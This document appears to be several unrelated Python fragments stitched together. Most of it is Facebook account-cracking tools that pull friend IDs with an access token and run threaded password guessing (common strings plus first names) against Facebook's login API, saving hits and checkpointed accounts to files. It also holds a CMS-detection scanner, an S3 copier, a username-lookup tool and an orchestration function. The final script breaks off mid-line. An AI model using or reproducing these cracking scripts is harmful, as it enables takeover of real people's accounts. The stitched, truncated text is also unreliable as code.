def pilih_super(): peak = raw_input("\n\033[1;97mChoose Option โป \033[1;97m") if peak =="": print "\x1b[1;97mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;97m Please Wait" jalan('\033[1;97m[โ] Getting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;97mโป\033[1;97mLink ID\033[1;37m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97m[โ] Name\033[1;97m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;97mID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") super() print"\033[1;97m[โ] Getting IDs..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;97mFill in correctly" pilih_super() print "\033[1;97m[โ] Total Friends \033[1;97m: \033[1;97m"+str(len(id)) titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m[โ] Cloning Started\033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print""" [!] To Stop Process Press CTRL Then Z ---------------------------------------------------------""" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Jam try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = '786786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = '000786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass4 cek = open("out/Checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + 'khan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: pass7 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32mยฆ\x1b[1;32m ' + user + ' \x1b[1;32mยฆ\x1b[1;32m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97mยฆ\x1b[1;97m ' + user + ' \x1b[1;97mยฆ\x1b[1;97m ' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(50) p.map(main, id) print "\033[1;97m---------------------------------------------------" print '\033[1;97mProcess Has Been Completed.' print"\033[1;97m-----------------" print"\033[1;97mTotal OK/\x1b[1;97mCP \033[1;97m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;97m"+str(len(cekpoint)) print "\033[1;97m---------------------------------------------------" raw_input("\n\033[1;93m[\033[1;96mBack\033[1;93m]") menu()
def execute_system(self, session, config, topic): """ Run the actual system, including the data collection and data analytics. Inputs the session data, the configuration data, and a specified topic. Also, option to enter an existing job_id that we are rerunning. After it will return the run_id that is associated with the results. """ database = Database_Connector(session['Database IP']) job_id = database.get_job_from_topic(topic) # Insert Job into database if it's a new job if (job_id is None): job_id = database.create_new_job(topic) # Insert Run into database and save it's ID for the analytics code run_id = database.create_new_run(job_id) # Data collection commands to be executed. Put in data from configuration command1 = commands.data_exec_twitter % ( '"' + topic + '"', config['Twitter API key'], config['Twitter API secret key'], config['Twitter Access token'], config['Twitter Access token secret']) command2 = commands.data_exec_news % ('"' + topic + '"', config['News API key']) # Parameters for thread pool. Each tuple is their own thread. parameters = [(session['Twitter Collector IP'], [command1]), (session['News Collector IP'], [command2])] # Carry out threading execution and await completion of data collection pool = ThreadPool(2) pool.map(self.command_run_thread, parameters) pool.close() pool.join() # Transfer data to analytics machines (Need to transfer PEM file aswell from config) self.conn.transfer_files(session['Twitter Analyzer IP'], [config['Path to pem']], [config['AWS Key Name'] + ".pem"]) self.conn.transfer_files(session['News Analyzer IP'], [config['Path to pem']], [config['AWS Key Name'] + ".pem"]) # Execute data analytics command1 = commands.analtyics_exec % ( "Twitter", run_id, config['AWS Key Name'] + ".pem", session['Database IP'], session['Twitter Collector IP']) command2 = commands.analtyics_exec % ( "News", run_id, config['AWS Key Name'] + ".pem", session['Database IP'], session['News Collector IP']) parameters = [(session['Twitter Analyzer IP'], [command1]), (session['News Analyzer IP'], [command2])] # Carry out threading execution and await completion of data analytics pool = ThreadPool(2) pool.map(self.command_run_thread, parameters) pool.close() pool.join() # Output will be in the database, just return the run id return run_id
""" def __init__(self, initial=0): """Initialize a new atomic counter to given initial value (default 0).""" self.value = initial self._lock = threading.Lock() def increment(self, num=1): """Atomically increment the counter by num (default 1) and return the new value. """ with self._lock: self.value += num return self.value with open(LOG_FILE) as f: lines = filter(lambda l: 'MOVE FILE' in l, f.readlines()) s3 = boto3.client('s3', 'us-east-1') count = len(lines) done = AtomicCounter() def copy(i): src, dst = lines[i].split(']')[-1].split('=>') src = src.strip() dst = dst.strip() s3.copy({'Bucket': SRC_BUCKET, 'Key': src[1:]}, DST_BUCKET, dst[1:], ExtraArgs = {'ACL': 'public-read'}) print("[%5d / %5d --- %3.2f\%] %s => %s" % (done.increment(), count, 100.0 * done.value / count, src, dst)) pool = ThreadPool(processes = 30) pool.map(copy, range(count))
def pilih_super(): peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก\033[1;96mBlackMafia\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;96m[โก] \033[1;92mEnter ID\033[1;93m: \033[1;97m") print "\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก\033[1;96mBlackMafia\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโฏโก" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]") super() print"\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91mCloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;94mยซ-----\x1b[1;93mโกTo Stop Process Press CTRL+Zโก\033[1;94m----ยป" print "\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก\033[1;96mBlackMafia\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก" jalan(' \033[1;93m ........Cloning Start plzzz Wait.......... ') print "\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก\033[1;96mBlackMafia\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:love_hacker try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = a['first_name'] + 'rajpoot' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + 'mughal' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + 'malik' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + 'khan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + 'afridi' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94mโง\x1b[1;97m-' + user + '-\x1b[1;94mโง\x1b[1;97m-' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก\033[1;96mBlackMafia\033[1;95mโกโโโโโโโโโโโขโโขโโโโโโโโโโโก" print " \033[1;93mยซ---โขโโข---Developed By love---โขโโข---ยป" #Dev:love_hacker print '\033[1;91mProcess Has Been Completed\033[1;92m....' print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint)) print """ ...........โโโ ]โโโโโโ ..โโโ โโโโโโ โโโ [โโโโโโโโโโโโโโโ] โฅโโฒโโฒโโฒโโฒโโฒโโค โกโโโโโโโโโโโโโโโขโโขโโโโโโโโโโโโโโโก. : \033[1;96m .....lovehacker BlackMafia........... \033[1;93m : โกโโโโโโโโโโโโโโโขโโขโโโโโโโโโโโโโโโก.' whatsapp Num +923232132362""" raw_input("\n\033[1;92m[\033[1;94mBack\033[1;96m]") menu()
print green + "[+] OPencarte http://" + url + white + '\n' open("Cms/Opencarte.txt", "a").write('http://' + url + '\n') elif "Joomla" in op2.text: print green + "[+] Joomla http://" + url + white + '\n' open("Cms/Joomla.txt", "a").write('http://' + url + '\n') elif "WordPress" in op3.text: print green + "[+] Wordpress http://" + url + white + '\n' open("Cms/wordpress.txt", "a").write('http://' + url + '\n') elif "sites/default" in op4.text: print green + "[+] Drupal http://" + url + white + '\n' open("Cms/drupal.txt", "a").write('http://' + url + '\n') elif "PrestaShop" in op5.text: print green + "[+] Prestashop http://" + url + white + '\n' open("Cms/drupal.txt", "a").write('http://' + url + '\n') else: print '[-] Cms Not Found --> http://' + red + url + '\n' except: pass ListPass = open(raw_input("Sites List .txt:"), 'r').readlines() pool = ThreadPool(100) pool.map(cms, ListPass) pool.close() pool.join() if __name__ == '__main__': print("Finished, success , Thank you for using Mr Spy Tool --> Result/Grabbed.txt")
def FindPresence(user_taken): start_time = time.time() wiki_link = 'https://en.wikipedia.org/wiki/List_of_HTTP_status_codes' uname = user_taken width = 20 # to pretty print global counter counter = 0 # to count no of success page = requests.get(wiki_link) soup = BeautifulSoup(page.content, 'html.parser') user_agent = ('Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) ' 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130' ' Mobile Safari/537.36') headers = {'user-agent': user_agent} def get_website_membership(site): def print_fail(): print(site.rjust(width), ':', colored(state.ljust(width // 2), 'red'), '(Status:', msg, ')') def print_success(): print(site.rjust(width), ':', colored(state.ljust(width // 2), 'green'), '(Status:', msg, ')') url = websites[site] global counter state = "FAIL" msg = '--exception--' if not url[:1] == 'h': link = 'https://' + uname + url else: link = url + uname try: if site == 'Youtube' or 'Twitter': response = requests.get(link) else: response = requests.get(link, headers=headers) tag = soup.find(id=response.status_code) msg = tag.find_parent('dt').text response.raise_for_status() except Exception: print_fail() else: res_soup = BeautifulSoup(response.content, 'html.parser') if site == 'Pastebin': if len(res_soup.find_all('h1')) == 0: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) if site == 'LinkedIn': if len(res_soup.find_all('h1')) == 0: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) elif site == 'Wordpress': if 'doesnโt exist' or 'blocked' in res_soup: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) # elif site == 'Imgur': # ToDo elif site == 'GitLab': if 'Sign in' in res_soup.title.text: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) elif site == 'HackerNews': if 'No such user.' in res_soup: msg = 'No Such User!' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) elif site == 'ProductHunt': if 'Page Not Found' in res_soup.text: msg = 'No Such User!' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) websites = { 'LinkedIn': 'https://www.linkedin.com/in/', 'Facebook': 'https://www.facebook.com/', 'Twitter': 'https://twitter.com/', 'Instagram': 'https://www.instagram.com/', 'Youtube': 'https://www.youtube.com/user/', 'Reddit': 'https://www.reddit.com/user/', 'ProductHunt': 'https://www.producthunt.com/@', 'PInterest': 'https://www.pinterest.com/', 'Flickr': 'https://www.flickr.com/people/', 'Vimeo': 'https://vimeo.com/', 'Soundcloud': 'https://soundcloud.com/', 'Disqus': 'https://disqus.com/', 'Medium': 'https://medium.com/@', 'AboutMe': 'https://about.me/', 'Imgur': 'https://imgur.com/user/', # returns a landing page. to do 'Flipboard': 'https://flipboard.com/', 'Slideshare': 'https://slideshare.net/', 'Spotify': 'https://open.spotify.com/user/', 'Scribd': 'https://www.scribd.com/', 'Patreon': 'https://www.patreon.com/', 'BitBucket': 'https://bitbucket.org/', 'GitLab': 'https://gitlab.com/', 'Github': 'https://www.github.com/', 'GoodReads': 'https://www.goodreads.com/', 'Instructable': 'https://www.instructables.com/member/', 'CodeAcademy': 'https://www.codecademy.com/', 'Gravatar': 'https://en.gravatar.com/', 'Pastebin': 'https://pastebin.com/u/', 'FourSquare': 'https://foursquare.com/', 'TripAdvisor': 'https://tripadvisor.com/members/', 'Wikipedia': 'https://www.wikipedia.org/wiki/User:'******'HackerNews': 'https://news.ycombinator.com/user?id=', 'CodeMentor': 'https://www.codementor.io/', 'Trip': 'https://www.trip.skyscanner.com/user/', 'Blogger': '.blogspot.com', 'Wordpress': '.wordpress.com', 'Tumbler': '.tumblr.com', 'Deviantart': '.deviantart.com"', # ^ This website is either blocking/delaying the script 'LiveJournel': '.livejournal.com', 'Slack': '.slack.com', } p = ThreadPool(10) p.map(get_website_membership, list(websites.keys())) n_websites = len(list(websites.keys())) print('Summary: User {} has membership in {}/{} websites'.format( uname, counter, n_websites)) print( f"Completed {len(websites)} queries in {time.time() - start_time:.2f}s" ) return counter
def pilih_super(): peak = raw_input("\n\033[1;97m >>> \033[1;97m") if peak == "": print "\033[1;96m[!] \x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print 42 * "\033[1;96m=" jalan('\033[1;96m[โบ] \033[1;93mGetting ID \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo print 42 * "\033[1;96m=" idt = raw_input( "\033[1;96m[+] \033[1;93mEnter ID \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;96m[\033[1;97mโ\033[1;96m] \033[1;93mName\033[1;91m :\033[1;97m " + op[ "name"] except KeyError: print "\033[1;96m[!] \x1b[1;91mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() jalan('\033[1;96m[โบ] \033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "3": os.system('clear') print logo print 42 * "\033[1;96m=" try: idlist = raw_input( '\x1b[1;96m[+] \x1b[1;93mEnter File Path \x1b[1;91m: \x1b[1;97m' ) for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile Not Found' raw_input('\n\x1b[1;96m[ \x1b[1;97mBack \x1b[1;96m]') super() elif peak == "0": menu() else: print "\033[1;96m[!] \x1b[1;91mFill in correctly" pilih_super() print "\033[1;96m[+] \033[1;93mTotal IDs \033[1;91m: \033[1;97m" + str( len(id)) jalan('\033[1;96m[โบ] \033[1;93mStarting \033[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print( "\r\033[1;96m[\033[1;97mโธ\033[1;96m] \033[1;93mCracking \033[1;97m" + o), sys.stdout.flush() time.sleep(1) print print('\x1b[1;96m[!] \x1b[1;93mTo Stop Process Press CTRL Then Press z') print 42 * "\033[1;96m=" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in 